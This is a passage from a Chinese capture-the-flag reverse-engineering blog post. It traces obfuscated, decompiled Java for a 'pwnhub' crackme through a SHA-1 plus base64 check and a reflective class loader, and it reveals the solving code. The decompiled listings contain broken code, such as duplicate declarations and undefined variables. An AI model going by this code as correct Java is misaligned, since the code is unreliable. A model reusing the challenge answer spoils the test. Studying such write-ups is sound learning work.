class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">InputStreamReader</span>(System.in));</span><br><span class="line">    code = strin.readLine();</span><br><span class="line">    <span class="keyword">if</span> (<span class="number">4</span> != code.length()) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;error code&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (!a4a89174426b40307102e165374ab8ab.b(code)) &#123;</span><br><span class="line">      <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">Exception</span>(<span class="string">&quot;error code&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    f2f3269806389d0789c558d2a652f950.code = code;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>仔细一看这里出现了三个类。。。除了主类之外，还有一个什么什么a4a8917…这个似乎有一个方法b，并且要没有返回值，然后会将这个code赋值给一个f2什么的。。。<br>这里我们继续追踪a4a什么的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">a4a89174426b40307102e165374ab8ab</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">static</span> <span class="type">boolean</span> <span class="title function_">b</span><span class="params">(String input_str)</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">var46</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> input_str + <span class="string">&quot;explorerexplorerexplorerexplorerexplorerexplorerexplorerexplorerexplorerexpl&quot;</span>;</span><br><span class="line">    <span class="type">byte</span>[] str_bytes = str.getBytes();</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span>[] sha1_str = <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">80</span>];</span><br><span class="line">    <span class="type">int</span> <span class="variable">AA</span> <span class="operator">=</span> <span class="number">1732584193</span>;  <span class="comment">//0x67452301</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">BB</span> <span class="operator">=</span> -<span class="number">271733879</span>;  <span class="comment">//0xefcdab89</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">CC</span> <span class="operator">=</span> -<span class="number">1732584194</span>; <span class="comment">//0x98badcfe</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">DD</span> <span class="operator">=</span> <span class="number">271733878</span>;   <span class="comment">//0x10325476</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">EE</span> <span class="operator">=</span> -<span class="number">1009589776</span>; <span class="comment">//0xc3d2e1f0</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">index</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 以下为sha1</span></span><br><span class="line">    <span class="keyword">while</span> (index &lt; str_bytes.length)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">int</span> <span class="variable">aa</span> <span class="operator">=</span> AA;</span><br><span class="line">      <span class="type">int</span> <span class="variable">bb</span> <span class="operator">=</span> BB;</span><br><span class="line">      <span class="type">int</span> <span class="variable">cc</span> <span class="operator">=</span> CC;</span><br><span class="line">      <span class="type">int</span> <span class="variable">dd</span> <span class="operator">=</span> DD;</span><br><span class="line">      <span class="type">int</span> <span class="variable">ee</span> <span class="operator">=</span> EE;</span><br><span class="line">      </span><br><span class="line">      <span class="type">int</span> <span class="variable">round</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span> (round &lt; <span class="number">80</span>)</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> (round &lt; <span class="number">16</span>)</span><br><span class="line">        &#123;</span><br><span class="line">          sha1_str[round] = str_bytes[(index + round)];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="type">int</span> <span class="variable">var10000</span> <span class="operator">=</span> sha1_str[(round - <span class="number">3</span>)] ^ sha1_str[(round - <span class="number">8</span>)] ^ sha1_str[(round - <span class="number">14</span>)];</span><br><span class="line">          <span class="type">int</span> <span class="variable">var136</span> <span class="operator">=</span> sha1_str[(round - <span class="number">16</span>)];</span><br><span class="line">          </span><br><span class="line">          <span class="type">int</span> <span class="variable">var28</span> <span class="operator">=</span> var10000 ^ var136;</span><br><span class="line">          <span class="type">int</span> <span class="variable">var29</span> <span class="operator">=</span> var28 &lt;&lt; <span class="number">1</span> | var28 &gt;&gt;&gt; <span class="number">31</span>;</span><br><span class="line">          sha1_str[round] = var29;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">int</span> <span class="variable">var28</span> <span class="operator">=</span> AA &lt;&lt; <span class="number">5</span> | AA &gt;&gt;&gt; <span class="number">27</span>;            <span class="comment">//AA*32</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">var10000</span> <span class="operator">=</span> var28 + EE + sha1_str[round];</span><br><span class="line">        <span class="type">int</span> var136;</span><br><span class="line">        <span class="type">int</span> var136;</span><br><span class="line">        <span class="keyword">if</span> (round &lt; <span class="number">20</span>)</span><br><span class="line">        &#123;</span><br><span class="line">          var136 = <span class="number">1518500249</span> + (BB &amp; CC | (BB ^ <span class="number">0xFFFFFFFF</span>) &amp; DD);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          var136 = round;</span><br><span class="line">          <span class="type">int</span> <span class="variable">var10002</span> <span class="operator">=</span> <span class="number">40</span>;</span><br><span class="line">          <span class="keyword">if</span> (var136 &lt; var10002)</span><br><span class="line">          &#123;</span><br><span class="line">            var136 = <span class="number">1859775393</span> + (BB ^ CC ^ DD);</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">else</span></span><br><span class="line">          &#123;</span><br><span class="line">            var136 = round;</span><br><span class="line">            var10002 = <span class="number">60</span>;</span><br><span class="line">            <span class="keyword">if</span> (var136 &lt; var10002)</span><br><span class="line">            &#123;</span><br><span class="line">              var136 = -<span class="number">1894007588</span> + (BB &amp; CC | BB &amp; DD | CC &amp; DD);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">              var136 = -<span class="number">899497514</span>;</span><br><span class="line">              var10002 = BB ^ CC ^ DD;</span><br><span class="line">              </span><br><span class="line">              var136 += var10002;</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">int</span> <span class="variable">var29</span> <span class="operator">=</span> var10000 + var136;</span><br><span class="line">        EE = DD;</span><br><span class="line">        DD = CC;</span><br><span class="line">        CC = BB &lt;&lt; <span class="number">30</span> | BB &gt;&gt;&gt; <span class="number">2</span>;</span><br><span class="line">        BB = AA;</span><br><span class="line">        AA = var29;</span><br><span class="line">        round++;</span><br><span class="line">      &#125;</span><br><span class="line">      AA += aa;</span><br><span class="line">      BB += bb;</span><br><span class="line">      CC += cc;</span><br><span class="line">      DD += dd;</span><br><span class="line">      <span class="type">int</span> <span class="variable">var10000</span> <span class="operator">=</span> EE;</span><br><span class="line">      <span class="type">int</span> <span class="variable">var136</span> <span class="operator">=</span> ee;</span><br><span class="line">      </span><br><span class="line">      EE = var10000 + var136;</span><br><span class="line">      index += <span class="number">16</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ===========sha1=============</span></span><br><span class="line">    <span class="type">byte</span> <span class="variable">sha1_index</span> <span class="operator">=</span> <span class="number">5</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span>[] sha1_ans = <span class="keyword">new</span> <span class="title class_">int</span>[sha1_index];</span><br><span class="line">    sha1_ans[<span class="number">0</span>] = AA;</span><br><span class="line">    sha1_ans[<span class="number">1</span>] = BB;</span><br><span class="line">    sha1_ans[<span class="number">2</span>] = CC;</span><br><span class="line">    sha1_ans[<span class="number">3</span>] = DD;</span><br><span class="line">    sha1_ans[<span class="number">4</span>] = EE;</span><br><span class="line">    <span class="type">int</span>[] str_sha1 = sha1_ans;</span><br><span class="line">    <span class="type">byte</span>[] f_20bit = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">20</span>];</span><br><span class="line">    <span class="type">int</span> <span class="variable">cc</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ========== 取出每一个字节 ============</span></span><br><span class="line">    <span class="keyword">while</span> (cc &lt; <span class="number">20</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">int</span> <span class="variable">dd</span> <span class="operator">=</span> str_sha1[(cc / <span class="number">4</span>)];          <span class="comment">// 每四个为一个单位</span></span><br><span class="line">      <span class="type">int</span> <span class="variable">ee</span> <span class="operator">=</span> (<span class="number">3</span> - cc % <span class="number">4</span>) * <span class="number">8</span>;            <span class="comment">// 24（0），16（1），8（2），0（3）</span></span><br><span class="line">      f_20bit[cc] = ((<span class="type">byte</span>)(dd &gt;&gt;&gt; ee));    <span class="comment">// 相当于说，取出每一字节，分别存放在当前的bytes中</span></span><br><span class="line">      cc++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ========== base64处理 ==========</span></span><br><span class="line">    <span class="type">byte</span>[] f_22bit = <span class="keyword">new</span> <span class="title class_">byte</span>[f_20bit.length + <span class="number">2</span>];<span class="comment">//申请了22个空间（？）</span></span><br><span class="line">    System.arraycopy(f_20bit, <span class="number">0</span>, f_22bit, <span class="number">0</span>, f_20bit.length); <span class="comment">// 完全拷贝过去</span></span><br><span class="line">    <span class="type">byte</span>[] vf_28bit = <span class="keyword">new</span> <span class="title class_">byte</span>[f_22bit.length / <span class="number">3</span> * <span class="number">4</span>]; <span class="comment">// 申请了28个字节</span></span><br><span class="line">    </span><br><span class="line">    <span class="type">byte</span>[] var82 = vf_28bit;        </span><br><span class="line">    AA = <span class="number">0</span>;</span><br><span class="line">    BB = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (AA &lt; var100.length)</span><br><span class="line">    &#123;</span><br><span class="line">      var82[BB] = ((<span class="type">byte</span>)(f_22bit[AA] &gt;&gt;&gt; <span class="number">2</span> &amp; <span class="number">0x3F</span>)); <span class="comment">//  取出高6位数</span></span><br><span class="line">      var82[(BB + <span class="number">1</span>)] = ((<span class="type">byte</span>)(f_22bit[(AA + <span class="number">1</span>)] &gt;&gt;&gt; <span class="number">4</span> &amp; <span class="number">0xF</span> | f_22bit[AA] &lt;&lt; <span class="number">4</span> &amp; <span class="number">0x3F</span>));</span><br><span class="line">      var82[(BB + <span class="number">2</span>)] = ((<span class="type">byte</span>)(f_22bit[(AA + <span class="number">2</span>)] &gt;&gt;&gt; <span class="number">6</span> &amp; <span class="number">0x3</span> | f_22bit[(AA + <span class="number">1</span>)] &lt;&lt; <span class="number">2</span> &amp; <span class="number">0x3F</span>));</span><br><span class="line">      var82[(BB + <span class="number">3</span>)] = ((<span class="type">byte</span>)(f_22bit[(AA + <span class="number">2</span>)] &amp; <span class="number">0x3F</span>));</span><br><span class="line">      AA += <span class="number">3</span>;</span><br><span class="line">      BB += <span class="number">4</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    AA = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (AA &lt; var82.length)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">int</span> <span class="variable">var10000</span> <span class="operator">=</span> var82[AA];</span><br><span class="line">      <span class="keyword">if</span> (var10000 &lt; <span class="number">26</span>)</span><br><span class="line">      &#123;</span><br><span class="line">        var82[AA] = ((<span class="type">byte</span>)(var82[AA] + <span class="number">65</span>));</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        var10000 = var82[AA];</span><br><span class="line">        <span class="type">byte</span> <span class="variable">var10001</span> <span class="operator">=</span> <span class="number">52</span>;</span><br><span class="line">        <span class="keyword">if</span> (var10000 &lt; var10001)</span><br><span class="line">        &#123;</span><br><span class="line">          var82[AA] = ((<span class="type">byte</span>)(var82[AA] + <span class="number">97</span> - <span class="number">26</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          var10000 = var82[AA];</span><br><span class="line">          var10001 = <span class="number">62</span>;</span><br><span class="line">          <span class="keyword">if</span> (var10000 &lt; var10001)</span><br><span class="line">          &#123;</span><br><span class="line">            var82[AA] = ((<span class="type">byte</span>)(var82[AA] + <span class="number">48</span> - <span class="number">52</span>));</span><br><span class="line">            <span class="keyword">if</span> (var46 == <span class="number">0</span>) &#123;&#125;</span><br><span class="line">          &#125;</span><br><span class="line">          <span class="keyword">else</span></span><br><span class="line">          &#123;</span><br><span class="line">            vf_28bit = var82;</span><br><span class="line">            <span class="type">int</span> <span class="variable">var136</span> <span class="operator">=</span> AA;</span><br><span class="line">            <span class="keyword">if</span> (var46 == <span class="number">0</span>)</span><br><span class="line">            &#123;</span><br><span class="line">              var10000 = var82[AA];</span><br><span class="line">              var10001 = <span class="number">63</span>;</span><br><span class="line">              <span class="keyword">if</span> (var10000 &lt; var10001)</span><br><span class="line">              &#123;</span><br><span class="line">                var82[AA] = <span class="number">43</span>;</span><br><span class="line">              &#125;</span><br><span class="line">              <span class="keyword">else</span></span><br><span class="line">              &#123;</span><br><span class="line">                vf_28bit = var82;</span><br><span class="line">                var136 = AA;</span><br><span class="line">              &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span></span><br><span class="line">            &#123;</span><br><span class="line">              vf_28bit[var136] = <span class="number">47</span>;</span><br><span class="line">            &#125;</span><br><span class="line">          &#125;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      AA++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">int</span> <span class="variable">var10000</span> <span class="operator">=</span> var82.length;</span><br><span class="line">    <span class="type">byte</span> <span class="variable">var10001</span> <span class="operator">=</span> <span class="number">1</span>;</span><br><span class="line">    </span><br><span class="line">    AA = var10000 - var10001;</span><br><span class="line">    <span class="keyword">while</span> (AA &gt; var100.length * <span class="number">4</span> / <span class="number">3</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      var82[AA] = <span class="number">61</span>;</span><br><span class="line">      AA--;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">String</span>(var82).equals(<span class="string">&quot;FVaFsOGplhi32uir9nCbgQTOLIM=&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>哇！！！！！！！var10000！！！！！！我是不是眼花了！！！！！！！！！！<br>算法本身看起来非常复杂。。。但是然后我们会发现一个奇怪的地方。。。<br><img src="/2017/02/17/pwnhub-sxbk/pwnhub-02.png" alt=""><br>这几个数字不是什么普通的数字吧。。。。看起来更像是sha1的样子，于是上网去查询:<br>发现sha1中用到了5个变量，并且这里面出现了sha1中才有的函数，那么就能看出来，这就是一个sha1加密了。。<br>然后那个算法。。仔细一看，又是凑成4的倍数，又是&amp;0x3f，那么估计就是base64了。。。然后我们尝试的将加密的那段文字进行base64解密:<br>b’\x15V\x85\xb0\xe1\xa9\x96\x18\xb7\xda\xe8\xab\xf6p\x9b\x81\x04\xce,\x83’<br>看起来是一串二进制数字啊。。。但是毕竟是使用了sha1加密过的结果。所以应该是有可能变成了不可见的2进制，并且这一串数字又正好是20位数，正好就是之前得到的四个值。<br>虽然各种暗示都表示此时只有四个字符，但是我写了个脚本就是跑不出结果。。。我打算直接将这一段写成java试一试。。。<br>java的String 真·是·招·黑。。。。最后找到答案是mdzz。。我也觉得。。。开个eclipse真是卡的爆炸。。。<br>然后我们接着往下看:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">f2f3269806389d0789c558d2a652f950</span></span><br><span class="line">  <span class="keyword">extends</span> <span class="title class_">d1a2276cb6055f0a6d12ac4004352f0b</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">static</span> String code;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="title function_">f2f3269806389d0789c558d2a652f950</span><span class="params">()</span></span><br><span class="line">    <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException</span><br><span class="line">  &#123;&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这这。。。。又继承了一个类，那么接着看:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">d1a2276cb6055f0a6d12ac4004352f0b</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">static</span> d1a2276cb6055f0a6d12ac4004352f0b e;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">static</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">try</span></span><br><span class="line">    &#123;</span><br><span class="line">      e = <span class="keyword">new</span> <span class="title class_">d1a2276cb6055f0a6d12ac4004352f0b</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">catch</span> (ClassNotFoundException|NoSuchMethodException|IllegalAccessException|InvocationTargetException e1)</span><br><span class="line">    &#123;</span><br><span class="line">      e1.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">public</span> <span class="title function_">d1a2276cb6055f0a6d12ac4004352f0b</span><span class="params">()</span></span><br><span class="line">    <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException</span><br><span class="line">  &#123;</span><br><span class="line">    e9b8eb59aee1bca0a57fa2091b3724b9.code = a02c83a7dbd96295beaefb72c2bee2de.code;</span><br><span class="line">    <span class="type">e9b8eb59aee1bca0a57fa2091b3724b9</span> <span class="variable">mc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">e9b8eb59aee1bca0a57fa2091b3724b9</span>();</span><br><span class="line">    Class&lt;?&gt; clazz = mc.loadClass(<span class="string">&quot;pwnhub.checkFlag&quot;</span>);</span><br><span class="line">    <span class="type">Method</span> <span class="variable">c</span> <span class="operator">=</span> clazz.getMethod(<span class="string">&quot;check&quot;</span>, (Class[])<span class="literal">null</span>);</span><br><span class="line">    c.invoke(<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>哦我tm快要打人了真的。。。这个e9是个什么鬼。。。而且令人讨厌的是，这个code是好像没有明确的指出来是用在那里的。。。而且这个pwnhub.checkFlag类又在哪里啊。。从这里看，似乎是加载了一个叫做pwnhub.checkFlag的类，然后企图调用里面的check方法吧。。那么我们就要注意到，这个e9什么的类，应该是个用于【读入类】的对象<br>看来这个乱码不是应为是 jd-gui的问题啊</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> pwnhub;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.security.GeneralSecurityException;</span><br><span class="line"><span class="keyword">import</span> java.security.InvalidAlgorithmParameterException;</span><br><span class="line"><span class="keyword">import</span> java.security.InvalidKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.MessageDigest;</span><br><span class="line"><span class="keyword">import</span> java.security.NoSuchAlgorithmException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.BadPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.IllegalBlockSizeException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.NoSuchPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.IvParameterSpec;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.SecretKeySpec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">e9b8eb59aee1bca0a57fa2091b3724b9</span></span><br><span class="line">  <span class="keyword">extends</span> <span 